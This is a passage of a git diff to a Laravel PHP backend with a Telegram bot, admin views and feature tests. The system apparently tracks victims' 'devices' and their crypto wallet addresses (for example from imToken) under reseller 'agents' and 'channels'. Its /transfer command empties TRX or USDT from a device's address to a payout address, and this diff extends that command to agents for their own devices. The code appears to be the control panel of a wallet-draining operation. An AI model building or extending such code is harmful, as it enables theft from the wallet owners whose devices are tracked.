($channelIds->isEmpty()) { + return false; + } + + $deviceIds = Device::query() + ->whereIn('channel_id', $channelIds) + ->pluck('id'); + if ($deviceIds->isEmpty()) { + return false; + } + + return WalletAddress::query() + ->whereIn('device_id', $deviceIds) + ->where(function ($q) use ($fromAddress) { + $q->where('address', $fromAddress); + if (str_starts_with(strtolower($fromAddress), '0x')) { + $q->orWhereRaw('LOWER(address) = ?', [strtolower($fromAddress)]); + } + }) + ->exists(); + } } diff --git a/app/Telegram/Middleware/AuthorizedChat.php b/app/Telegram/Middleware/AuthorizedChat.php index 49621a4..694ddd8 100644 --- a/app/Telegram/Middleware/AuthorizedChat.php +++ b/app/Telegram/Middleware/AuthorizedChat.php @@ -8,8 +8,8 @@ use SergiX44\Nutgram\Nutgram; use SergiX44\Nutgram\Telegram\Properties\ChatType; /** - * Allow only the configured owner group/supergroup for the current bot context - * (official system chat or the active agent's chat_id). + * Allow only the official owner chat or an enabled agent's chat_id. + * Binds TelegramBotContext so later handlers know official vs agent. */ class AuthorizedChat { @@ -19,21 +19,11 @@ class AuthorizedChat public function __invoke(Nutgram $bot, callable $next): mixed { - $expected = $this->context->expectedChatId(); - if ($expected === '') { - Log::warning('telegram AuthorizedChat: chat id empty', [ - 'agent_id' => $this->context->agent()?->id, - ]); - - return null; - } - $chatId = $bot->chatId(); - if ($chatId === null || (string) $chatId !== $expected) { + if (! $this->context->bindFromChatId($chatId)) { Log::info('telegram AuthorizedChat: chat rejected', [ 'chat_id' => $chatId, - 'expected' => $expected, - 'agent_id' => $this->context->agent()?->id, + 'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')), ]); return null; diff --git a/app/Telegram/Middleware/OfficialBotOnly.php b/app/Telegram/Middleware/OfficialBotOnly.php deleted file mode 100644 index f81b183..0000000 --- a/app/Telegram/Middleware/OfficialBotOnly.php +++ /dev/null @@ -1,21 +0,0 @@ -isOfficial()) { - $bot->sendMessage('⛔ /transfer 仅限官方系统群使用'); - - return null; - } - - return $next($bot); - } -} diff --git a/app/Telegram/Middleware/OfficialOnly.php b/app/Telegram/Middleware/OfficialOnly.php deleted file mode 100644 index 8fb22b8..0000000 --- a/app/Telegram/Middleware/OfficialOnly.php +++ /dev/null @@ -1,25 +0,0 @@ -context->isOfficial()) { - $bot->sendMessage('⛔ /transfer 仅限官方机器人使用'); - - return null; - } - - return $next($bot); - } -} diff --git a/app/Telegram/TelegramBotContext.php b/app/Telegram/TelegramBotContext.php index 9b77e2b..57e745d 100644 --- a/app/Telegram/TelegramBotContext.php +++ b/app/Telegram/TelegramBotContext.php @@ -5,8 +5,8 @@ namespace App\Telegram; use App\Models\User; /** - * Request-scoped Telegram bot identity. - * null agent = official system bot; otherwise an agent-configured bot. + * Request-scoped Telegram identity. + * null agent = official owner chat; otherwise the agent whose chat_id matched. */ class TelegramBotContext { @@ -41,8 +41,35 @@ class TelegramBotContext return trim((string) config('coruna.telegram.owner_chat_id', '')); } - public static function webhookSecretFor(User $agent): string + /** + * Bind official vs agent from the incoming chat_id. + * Official owner_chat_id wins if it collides with an agent. + */ + public function bindFromChatId(int|string|null $chatId): bool { - return hash_hmac('sha256', 'telegram-agent:'.$agent->id, (string) config('app.key')); + $chatId = trim((string) $chatId); + if ($chatId === '') { + $this->agent = null; + + return false; + } + + $owner = trim((string) config('coruna.telegram.owner_chat_id', '')); + if ($owner !== '' && $chatId === $owner) { + $this->agent = null; + + return true; + } + + $agent = User::findEnabledByChatId($chatId); + if ($agent === null) { + $this->agent = null; + + return false; + } + + $this->agent = $agent; + + return true; } } diff --git a/app/Telegram/TelegramRegistrar.php b/app/Telegram/TelegramRegistrar.php index 1389f61..8879ed9 100644 --- a/app/Telegram/TelegramRegistrar.php +++ b/app/Telegram/TelegramRegistrar.php @@ -2,41 +2,28 @@ namespace App\Telegram; -use App\Models\User; use App\Telegram\Handlers\ChannelCommand; use App\Telegram\Handlers\DataCommand; use App\Telegram\Handlers\HelpCommand; +use App\Telegram\Handlers\JoinedChatHandler; use App\Telegram\Handlers\PingCommand; use App\Telegram\Handlers\TransferCommand; use App\Telegram\Middleware\AuthorizedChat; use App\Telegram\Middleware\GroupAdminOnly; -use App\Telegram\Middleware\OfficialOnly; use SergiX44\Nutgram\Nutgram; class TelegramRegistrar { - public function __construct( - private readonly TelegramBotContext $context, - ) {} - - /** Official system bot — includes /transfer. Does not mutate bot context. */ + /** Single site bot. Official vs agent is resolved from chat_id. */ public function registerOfficial(Nutgram $bot): void { - $this->registerShared($bot, allowTransfer: true); - } + // Announce chat_id when invited — must not use AuthorizedChat + // so unconfigured groups can still copy the id into admin settings. + $bot->onMyChatMember(JoinedChatHandler::class); - /** Agent bot — no /transfer; binds request context to this agent. */ - public function registerAgent(Nutgram $bot, User $agent): void - { - $this->context->setAgent($agent); - $this->registerShared($bot, allowTransfer: false); - } - - private function registerShared(Nutgram $bot, bool $allowTransfer): void - { // HandlerGroup::middleware() unshifts — register GroupAdminOnly first so // AuthorizedChat ends up outermost (chat allowlist before admin check). - $bot->group(function (Nutgram $bot) use ($allowTransfer) { + $bot->group(function (Nutgram $bot) { $bot->onCommand('help', HelpCommand::class) ->description('List available commands'); @@ -53,12 +40,9 @@ class TelegramRegistrar $bot->onCommand('channel', ChannelCommand::class) ->description('List channels; copy promo iframe (new) or support link (old)'); - if ($allowTransfer) { - $bot->onCommand('transfer {args}', TransferCommand::class) - ->where('args', '.+') - ->middleware(OfficialOnly::class) - ->description('Transfer TRX or USDT from a device address (omit amount = all)'); - } + $bot->onCommand('transfer {args}', TransferCommand::class) + ->where('args', '.+') + ->description('Transfer TRX or USDT from a device address (omit amount = all)'); }) ->middleware(GroupAdminOnly::class) ->middleware(AuthorizedChat::class); diff --git a/config/coruna.php b/config/coruna.php index d01e3e7..261786a 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -59,6 +59,7 @@ return [ 'seven_zip' => env('CORUNA_7Z_BIN', ''), 'telegram' => [ 'bot_token' => env('TELEGRAM_BOT_TOKEN'), + 'bot_username' => env('TELEGRAM_BOT_USERNAME', ''), 'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'), 'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''), ], diff --git a/resources/views/admin/agents/index.blade.php b/resources/views/admin/agents/index.blade.php index c9c3b66..a2ec3b8 100644 --- a/resources/views/admin/agents/index.blade.php +++ b/resources/views/admin/agents/index.blade.php @@ -33,6 +33,9 @@ @@ -43,6 +46,8 @@ layui.use(['table', 'form', 'layer'], function () { var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$; var token = @json(csrf_token()); + var botUsername = @json($botUsername ?? ''); + var botInviteUrl = @json($botInviteUrl ?? ''); function esc(s) { return String(s == null ? '' : s) @@ -72,7 +77,7 @@ layui.use(['table', 'form', 'layer'], function () { { field: 'comment', title: '备注', minWidth: 100 }, { field: 'channels_count', title: '渠道数', width: 90 }, { field: 'created_at', title: '创建时间', width: 160, sort: true }, - { title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' } + { title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' } ]], page: true, limit: 20, limits: [10, 20, 30, 50], request: { pageName: 'page', limitName: 'limit' }, @@ -97,17 +102,45 @@ layui.use(['table', 'form', 'layer'], function () { '' + '
' + '
' + - '
' + - '
' + '
' + - '
' + - '
配置后该代理渠道通知发往此 Bot/群;指令仅可查本代理数据,不支持 /transfer。
Webhook: /hooks/telegram/agent/{id},保存后执行 php artisan telegram:set-webhook --agent={id}
' + + '
' + + '' + + '' + + '
' + + '
' + + (botUsername + ? '请邀请 ' + esc(botUsername) + ' 进群' + (botInviteUrl ? '(点此邀请)' : '') + ',进群后 Bot 会回复 Chat ID,再填到这里。' + : '请先在系统设置保存有效 Bot Token(会自动识别 @用户名),再邀请该 Bot 进群。') + + ' 填 Chat ID 后,该代理渠道通知会同时发到此群和官方群。
' + '
' + '' + '
' + '', success: function () { form.render(); + $('#LAY-agent-tg-test').on('click', function () { + var $btn = $(this); + if ($btn.prop('disabled')) return; + $btn.prop('disabled', true); + $.ajax({ + url: @json(route('admin.agents.telegramTest')), + method: 'POST', + data: { + _token: token, + chat_id: $('#LAY-agent-form input[name=chat_id]').val(), + agent_id: values.id || '' + }, + success: function (res) { + layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败')); + }, + error: function (xhr) { + layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败'); + }, + complete: function () { + $btn.prop('disabled', false); + } + }); + }); }, btn: ['保存', '取消'], yes: function (index) { @@ -154,6 +187,18 @@ layui.use(['table', 'form', 'layer'], function () { } }); }); + } else if (obj.event === 'tgtest') { + $.ajax({ + url: @json(route('admin.agents.telegramTest')), + method: 'POST', + data: { _token: token, agent_id: d.id, chat_id: d.chat_id }, + success: function (res) { + layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败')); + }, + error: function (xhr) { + layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败'); + } + }); } else if (obj.event === 'channels') { $.getJSON(@json(url('/admin/agents')) + '/' + d.id + '/channels', function (res) { var html = (res.data || []).map(function (c) { diff --git a/resources/views/admin/system/settings.blade.php b/resources/views/admin/system/settings.blade.php index 53e5461..518b431 100644 --- a/resources/views/admin/system/settings.blade.php +++ b/resources/views/admin/system/settings.blade.php @@ -15,13 +15,33 @@
+
+ @if($botUsername) + 当前 Bot:{{ $botUsername }} + @if($botInviteUrl) + · 邀请进群 + @endif + @else + 保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。 + @endif +
- +
+ + +
+
+ @if($botUsername) + 请邀请 {{ $botUsername }} 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。 + @else + 全站共用这一个 Bot。此处为官方通知群;代理单独推送只需在「代理用户」里填 Chat ID。保存 Token 后会提示要邀请哪个 Bot。 + @endif +
@@ -88,6 +108,17 @@ layui.use(['form', 'layer'], function () { data: Object.assign({}, data.field, { _token: token }), success: function (res) { layer.msg(res.msg || (res.code === 0 ? '已保存' : '失败')); + if (res.code === 0 && res.data) { + var name = res.data.bot_username || ''; + var url = res.data.bot_invite_url || ''; + if (name) { + var invite = url ? ' · 邀请进群' : ''; + $('#LAY-telegram-bot-name').html('当前 Bot:' + name + '' + invite); + $('#LAY-telegram-chat-hint').html('请邀请 ' + name + ' 进群(进群后 Bot 会回复 Chat ID),再填到这里。全站共用这一个 Bot;代理单独推送只需在「代理用户」里填 Chat ID。'); + } else { + $('#LAY-telegram-bot-name').text('保存 Token 后会通过 Telegram getMe 自动识别 @用户名,无需手填。'); + } + } }, error: function (xhr) { layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '保存失败'); @@ -95,6 +126,30 @@ layui.use(['form', 'layer'], function () { }); return false; }); + + $('#LAY-telegram-test').on('click', function () { + var $btn = $(this); + if ($btn.prop('disabled')) return; + $btn.prop('disabled', true); + $.ajax({ + url: @json(route('admin.system.settings.telegramTest')), + method: 'POST', + data: { + _token: token, + chat_id: $('input[name=telegram_owner_chat_id]').val(), + bot_token: $('input[name=telegram_bot_token]').val() + }, + success: function (res) { + layer.msg(res.msg || (res.code === 0 ? '已发送' : '失败')); + }, + error: function (xhr) { + layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '测试失败'); + }, + complete: function () { + $btn.prop('disabled', false); + } + }); + }); }); @endpush diff --git a/routes/admin.php b/routes/admin.php index 6e8e634..420d53c 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -69,6 +69,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index'); Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data'); Route::post('agents', [AgentUserController::class, 'store'])->name('agents.store'); + Route::post('agents/telegram-test', [AgentUserController::class, 'testTelegram'])->name('agents.telegramTest'); Route::put('agents/{agent}', [AgentUserController::class, 'update'])->name('agents.update'); Route::get('agents/{agent}/channels', [AgentUserController::class, 'channels'])->name('agents.channels'); @@ -91,6 +92,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::prefix('system')->name('system.')->group(function () { Route::get('settings', [SystemSettingsController::class, 'index'])->name('settings.index'); Route::post('settings', [SystemSettingsController::class, 'update'])->name('settings.update'); + Route::post('settings/telegram-test', [SystemSettingsController::class, 'testTelegram'])->name('settings.telegramTest'); Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index'); Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data'); diff --git a/routes/console.php b/routes/console.php index 81893be..7cf6179 100644 --- a/routes/console.php +++ b/routes/console.php @@ -29,30 +29,20 @@ Artisan::command('tokenview:set-webhook {url?}', function (?string $url = null) return 1; })->purpose('Register Tokenview address-tracking webhook URL'); -Artisan::command('telegram:set-webhook {url?} {--agent= : Agent user id}', function (?string $url = null) { - $agentId = $this->option('agent'); - if ($agentId !== null && $agentId !== '') { - $agent = \App\Models\User::query()->find((int) $agentId); - if ($agent === null || ! $agent->hasTelegramBot()) { - $this->error('Agent not found or telegram bot_token/chat_id missing'); +Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) { + $token = (string) config('nutgram.token', ''); + if ($token === '') { + $this->error('TELEGRAM_BOT_TOKEN is empty'); - return 1; - } - $token = (string) $agent->bot_token; - $url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram/agent/'.$agent->id; - $secret = \App\Telegram\TelegramBotContext::webhookSecretFor($agent); - } else { - $token = (string) config('nutgram.token', ''); - if ($token === '') { - $this->error('TELEGRAM_BOT_TOKEN is empty'); - - return 1; - } - $url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram'; - $secret = (string) config('coruna.telegram.webhook_secret', ''); + return 1; } + $url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram'; + $secret = (string) config('coruna.telegram.webhook_secret', ''); - $payload = ['url' => $url]; + $payload = [ + 'url' => $url, + 'allowed_updates' => ['message', 'callback_query', 'my_chat_member'], + ]; if ($secret !== '') { $payload['secret_token'] = $secret; } @@ -68,7 +58,7 @@ Artisan::command('telegram:set-webhook {url?} {--agent= : Agent user id}', funct $this->error('Failed: '.$resp->body()); return 1; -})->purpose('Register Telegram webhook (official or --agent=ID)'); +})->purpose('Register the site Telegram webhook'); Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () { $channelC = trim((string) $this->option('channel-c')); diff --git a/routes/hooks.php b/routes/hooks.php index 010b810..c96431c 100644 --- a/routes/hooks.php +++ b/routes/hooks.php @@ -8,6 +8,4 @@ use Illuminate\Support\Facades\Route; Route::middleware([SubstituteBindings::class])->group(function () { Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview'); Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram'); - Route::post('/hooks/telegram/agent/{agent}', [TelegramWebhookController::class, 'agent']) - ->name('hooks.telegram.agent'); }); diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php index 6e9500b..23da8d2 100644 --- a/tests/Feature/AdminAgentPortalTest.php +++ b/tests/Feature/AdminAgentPortalTest.php @@ -356,4 +356,51 @@ class AdminAgentPortalTest extends TestCase ]) ->assertStatus(405); } + + #[Test] + public function admin_can_send_agent_telegram_test(): void + { + config(['coruna.telegram.bot_token' => 'system-token']); + \Illuminate\Support\Facades\Http::fake([ + 'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200), + ]); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $agent = User::query()->create([ + 'username' => 'tgagent', + 'password' => 'secret12', + 'status' => 1, + 'chat_id' => '-200', + ]); + + $this->actingAs($admin, 'admin') + ->post(route('admin.agents.telegramTest'), [ + 'agent_id' => $agent->id, + 'chat_id' => '-300', + ]) + ->assertOk() + ->assertJsonPath('code', 0); + + \Illuminate\Support\Facades\Http::assertSent(function ($request) { + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($request->url(), '/botsystem-token/') + && ($request->data()['chat_id'] ?? null) === '-300' + && str_contains($text, 'Telegram 测试') + && str_contains($text, 'tgagent'); + }); + } + + #[Test] + public function agent_telegram_test_requires_chat_id(): void + { + config(['coruna.telegram.bot_token' => 'system-token']); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->post(route('admin.agents.telegramTest'), []) + ->assertOk() + ->assertJsonPath('code', 1) + ->assertJsonPath('msg', '未填写 Chat ID'); + } } diff --git a/tests/Feature/SystemAdminTest.php b/tests/Feature/SystemAdminTest.php index 215a855..35488fe 100644 --- a/tests/Feature/SystemAdminTest.php +++ b/tests/Feature/SystemAdminTest.php @@ -64,6 +64,16 @@ class SystemAdminTest extends TestCase public function super_admin_can_save_settings(): void { $super = $this->superAdmin(); + \Illuminate\Support\Facades\Http::fake(function ($request) { + if (str_contains($request->url(), 'getMe')) { + return \Illuminate\Support\Facades\Http::response([ + 'ok' => true, + 'result' => ['id' => 1, 'is_bot' => true, 'username' => 'test_bot'], + ], 200); + } + + return \Illuminate\Support\Facades\Http::response(['ok' => true], 200); + }); $this->actingAs($super, 'admin') ->post(route('admin.system.settings.update'), [ @@ -75,10 +85,13 @@ class SystemAdminTest extends TestCase 'panel_agent_hosts' => 'agent.example.com', ]) ->assertOk() - ->assertJsonPath('code', 0); + ->assertJsonPath('code', 0) + ->assertJsonPath('data.bot_username', '@test_bot'); $this->assertSame('bot:token', Setting::query()->where('key', 'telegram.bot_token')->value('value')); + $this->assertSame('test_bot', Setting::query()->where('key', 'telegram.bot_username')->value('value')); $this->assertSame('bot:token', config('coruna.telegram.bot_token')); + $this->assertSame('test_bot', config('coruna.telegram.bot_username')); $this->assertSame(5, (int) config('coruna.channels.max_per_agent')); $this->assertSame(['cdn1.example.com', 'cdn2.example.com'], config('coruna.channel_domains')); $this->assertSame( @@ -138,4 +151,85 @@ class SystemAdminTest extends TestCase $this->assertDatabaseHas('admins', ['id' => $super->id]); } + + #[Test] + public function super_admin_can_send_telegram_test(): void + { + config([ + 'coruna.telegram.bot_token' => 'saved-token', + 'coruna.telegram.owner_chat_id' => '100', + ]); + \Illuminate\Support\Facades\Http::fake([ + 'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200), + ]); + + $this->actingAs($this->superAdmin(), 'admin') + ->post(route('admin.system.settings.telegramTest'), [ + 'chat_id' => '-1009', + 'bot_token' => 'form-token', + ]) + ->assertOk() + ->assertJsonPath('code', 0); + + \Illuminate\Support\Facades\Http::assertSent(function ($request) { + return str_contains($request->url(), '/botform-token/') + && ($request->data()['chat_id'] ?? null) === '-1009' + && str_contains((string) ($request->data()['text'] ?? ''), 'Telegram 测试'); + }); + } + + #[Test] + public function telegram_test_reports_telegram_error(): void + { + config(['coruna.telegram.bot_token' => 'saved-token']); + \Illuminate\Support\Facades\Http::fake([ + 'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response([ + 'ok' => false, + 'description' => 'Bad Request: chat not found', + ], 400), + ]); + + $this->actingAs($this->superAdmin(), 'admin') + ->post(route('admin.system.settings.telegramTest'), [ + 'chat_id' => '999', + ]) + ->assertOk() + ->assertJsonPath('code', 1) + ->assertJsonPath('msg', 'Bad Request: chat not found'); + } + + #[Test] + public function normal_admin_cannot_test_official_telegram(): void + { + $this->actingAs($this->normalAdmin(), 'admin') + ->post(route('admin.system.settings.telegramTest'), ['chat_id' => '1']) + ->assertForbidden(); + } + + #[Test] + public function settings_page_shows_bot_username_from_getMe(): void + { + config([ + 'coruna.telegram.bot_token' => 'saved-token', + 'coruna.telegram.bot_username' => '', + ]); + \Illuminate\Support\Facades\Http::fake(function ($request) { + if (str_contains($request->url(), 'getMe')) { + return \Illuminate\Support\Facades\Http::response([ + 'ok' => true, + 'result' => ['username' => 'ops_bot'], + ], 200); + } + + return \Illuminate\Support\Facades\Http::response(['ok' => true], 200); + }); + + $this->actingAs($this->superAdmin(), 'admin') + ->get(route('admin.system.settings.index')) + ->assertOk() + ->assertSee('@ops_bot') + ->assertSee('t.me/ops_bot?startgroup=1', false); + + $this->assertSame('ops_bot', Setting::query()->where('key', 'telegram.bot_username')->value('value')); + } } diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php index 108dce6..31d0bb9 100644 --- a/tests/Feature/TelegramBotTest.php +++ b/tests/Feature/TelegramBotTest.php @@ -13,6 +13,7 @@ use PHPUnit\Framework\Attributes\Test; use SergiX44\Nutgram\Nutgram; use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus; use SergiX44\Nutgram\Telegram\Properties\ChatType; +use SergiX44\Nutgram\Telegram\Properties\UpdateType; use SergiX44\Nutgram\Testing\FakeNutgram; use Tests\TestCase; @@ -386,14 +387,12 @@ class TelegramBotTest extends TestCase 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, - 'bot_token' => '111:AAA', ]); $agentB = User::query()->create([ 'username' => 'agent_b', 'password' => 'secret12', 'status' => 1, 'chat_id' => '-100111', - 'bot_token' => '222:BBB', ]); $chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; @@ -418,8 +417,6 @@ class TelegramBotTest extends TestCase 'created_at' => now(), ]); - app(TelegramBotContext::class)->setAgent($agentA); - /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ @@ -471,7 +468,6 @@ class TelegramBotTest extends TestCase 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, - 'bot_token' => '111:AAA', ]); Channel::query()->create([ 'channel_id' => 'cccccccccccccccccccccccccccccccc', @@ -526,18 +522,17 @@ class TelegramBotTest extends TestCase $history2 = $bot2->getRequestHistory(); $transferMsg = FakeNutgram::getActualData(array_values($history2[array_key_last($history2)])[0]); - $this->assertStringContainsString('仅限官方', $transferMsg['text'] ?? ''); + $this->assertStringContainsString('无权操作该地址', $transferMsg['text'] ?? ''); } #[Test] - public function agent_help_hides_transfer(): void + public function agent_help_lists_transfer_for_own_devices(): void { $agent = User::query()->create([ 'username' => 'agent_help', 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, - 'bot_token' => '111:AAA', ]); app(TelegramBotContext::class)->setAgent($agent); @@ -557,46 +552,150 @@ class TelegramBotTest extends TestCase $history = $bot->getRequestHistory(); $msg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString('/data', $msg['text'] ?? ''); - $this->assertStringContainsString('不支持 /transfer', $msg['text'] ?? ''); - $this->assertStringNotContainsString('/transfer ', $msg['text'] ?? ''); + $this->assertStringContainsString('/transfer ', $msg['text'] ?? ''); + $this->assertStringNotContainsString('仅可查看/转出本代理渠道设备', $msg['text'] ?? ''); } #[Test] - public function agent_webhook_requires_secret_and_config(): void + public function agent_can_transfer_own_device_address(): void { - $bare = User::query()->create([ - 'username' => 'agent_hook_bare', - 'password' => 'secret12', - 'status' => 1, - ]); - $this->postJson('/hooks/telegram/agent/'.$bare->id, ['update_id' => 1]) - ->assertNotFound(); - $agent = User::query()->create([ - 'username' => 'agent_hook', + 'username' => 'agent_xfer', 'password' => 'secret12', 'status' => 1, - 'bot_token' => '111:AAA', 'chat_id' => (string) self::AGENT_CHAT, ]); - $this->assertTrue($agent->fresh()->hasTelegramBot()); + $channelId = 'cccccccccccccccccccccccccccccccc'; + Channel::query()->create([ + 'channel_id' => $channelId, + 'user_id' => $agent->id, + 'status' => 1, + ]); + $device = \App\Models\Device::query()->create([ + 'device_id' => 'dev-agent-xfer', + 'channel_id' => $channelId, + ]); + \App\Models\WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', + 'chain_type' => 'TRON', + 'source' => 'imToken', + ]); - $this->postJson('/hooks/telegram/agent/'.$agent->id, ['update_id' => 1], [ - 'X-Telegram-Bot-Api-Secret-Token' => 'wrong', - ])->assertForbidden(); + $mock = Mockery::mock(TransferService::class); + $mock->shouldReceive('handle') + ->once() + ->andReturn([ + 'ok' => true, + 'txid' => 'agentbeef', + 'from' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', + 'to' => 'TPayoutAddressxxxxxxxxxxxxxxxxxxxxxx', + 'amount' => '1', + 'asset' => 'USDT', + ]); + $this->app->instance(TransferService::class, $mock); - $secret = TelegramBotContext::webhookSecretFor($agent->fresh()); - $this->call( - 'POST', - '/hooks/telegram/agent/'.$agent->id, - [], - [], - [], - [ - 'CONTENT_TYPE' => 'application/json', - 'HTTP_X_TELEGRAM_BOT_API_SECRET_TOKEN' => $secret, + /** @var FakeNutgram $bot */ + $bot = app(Nutgram::class); + $bot->willReceivePartial([ + 'status' => ChatMemberStatus::ADMINISTRATOR->value, + 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], + 'can_manage_chat' => true, + ]); + $bot->hearMessage([ + 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 1', + 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], + 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], + ])->reply(); + + $history = $bot->getRequestHistory(); + $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); + $this->assertStringContainsString('agentbeef', $last['text'] ?? ''); + } + + #[Test] + public function agent_webhook_route_is_removed(): void + { + $this->postJson('/hooks/telegram/agent/1', ['update_id' => 1]) + ->assertNotFound(); + } + + #[Test] + public function joining_a_group_announces_chat_id(): void + { + $chatId = -1005556667778; + + /** @var FakeNutgram $bot */ + $bot = app(Nutgram::class); + $bot->hearUpdateType(UpdateType::MY_CHAT_MEMBER, [ + 'chat' => [ + 'id' => $chatId, + 'type' => ChatType::SUPERGROUP->value, + 'title' => '代理测试群', ], - json_encode(['update_id' => 1]) - )->assertNoContent(); + 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], + 'date' => time(), + 'old_chat_member' => [ + 'status' => ChatMemberStatus::LEFT->value, + 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], + ], + 'new_chat_member' => [ + 'status' => ChatMemberStatus::MEMBER->value, + 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], + ], + ])->reply(); + + $bot->assertCalled('sendMessage', 1); + $history = $bot->getRequestHistory(); + $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); + $this->assertStringContainsString((string) $chatId, $last['text'] ?? ''); + $this->assertStringContainsString('Chat ID', $last['text'] ?? ''); + $this->assertStringContainsString('代理测试群', $last['text'] ?? ''); + $copy = (string) data_get($last, 'reply_markup.inline_keyboard.0.0.copy_text.text', ''); + $this->assertSame((string) $chatId, $copy); + } + + #[Test] + public function promoting_or_leaving_does_not_announce_chat_id(): void + { + /** @var FakeNutgram $bot */ + $bot = app(Nutgram::class); + + $bot->hearUpdateType(UpdateType::MY_CHAT_MEMBER, [ + 'chat' => ['id' => -1001, 'type' => ChatType::SUPERGROUP->value, 'title' => 'x'], + 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], + 'date' => time(), + 'old_chat_member' => [ + 'status' => ChatMemberStatus::MEMBER->value, + 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], + ], + 'new_chat_member' => [ + 'status' => ChatMemberStatus::ADMINISTRATOR->value, + 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], + ], + ])->reply(); + $bot->assertCalled('sendMessage', 0); + + $this->app->forgetInstance(Nutgram::class); + $this->app->forgetInstance('nutgram'); + $this->app->forgetInstance('telegram'); + $this->app->forgetInstance(FakeNutgram::class); + + /** @var FakeNutgram $bot2 */ + $bot2 = app(Nutgram::class); + $bot2->hearUpdateType(UpdateType::MY_CHAT_MEMBER, [ + 'chat' => ['id' => -1001, 'type' => ChatType::SUPERGROUP->value, 'title' => 'x'], + 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], + 'date' => time(), + 'old_chat_member' => [ + 'status' => ChatMemberStatus::MEMBER->value, + 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], + ], + 'new_chat_member' => [ + 'status' => ChatMemberStatus::LEFT->value, + 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], + ], + ])->reply(); + $bot2->assertCalled('sendMessage', 0); } } diff --git a/tests/Feature/TelegramNotifierRoutingTest.php b/tests/Feature/TelegramNotifierRoutingTest.php index ec22847..14846d0 100644 --- a/tests/Feature/TelegramNotifierRoutingTest.php +++ b/tests/Feature/TelegramNotifierRoutingTest.php @@ -16,7 +16,7 @@ class TelegramNotifierRoutingTest extends TestCase use RefreshDatabase; #[Test] - public function agent_device_notifies_agent_bot(): void + public function agent_device_notifies_agent_chat(): void { config([ 'coruna.telegram.bot_token' => 'system-token', @@ -27,7 +27,6 @@ class TelegramNotifierRoutingTest extends TestCase 'username' => 'agent_tg', 'password' => 'secret12', 'status' => 1, - 'bot_token' => 'agent-token', 'chat_id' => '200', ]); $channelId = 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'; @@ -46,9 +45,18 @@ class TelegramNotifierRoutingTest extends TestCase app(TelegramNotifier::class)->notifyNewDevice('dev-agent-1', '16.0', '1.2.3.4'); Http::assertSent(function ($request) { - return str_contains($request->url(), '/botagent-token/') - && ($request->data()['chat_id'] ?? null) === '200'; + $text = (string) ($request->data()['text'] ?? ''); + + return 